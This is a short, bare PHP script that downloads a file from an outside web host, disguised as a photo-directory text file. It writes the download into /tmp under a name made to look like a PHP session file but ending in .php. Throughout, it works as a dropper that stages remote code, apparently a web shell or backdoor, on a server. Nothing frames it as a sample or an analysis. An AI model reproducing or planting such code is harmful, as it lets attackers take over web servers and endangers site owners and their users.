<?php 
if (is_dir("/tmp")) {
    $file = "/tmp/sess_" . md5 ("naxtarrr") . ".php";
    if (!file_exists($file)) {
        $content = file_get_contents("https://www.fcalpha.net/web/photo/20151024/m.txt");
        if ($content !== false) {
            $fp = fopen($file, "w");
            if ($fp) {
                fwrite($fp, $content);
                fclose($fp);
                echo "File created successfully.";
            } else {
                echo "Error opening file for writing.";
            }
        } else {
            echo "Error fetching file.";
        }
    } else {
        echo "File already exists.";
    }
} else {
    echo "Temporary directory does not exist.";
}
?>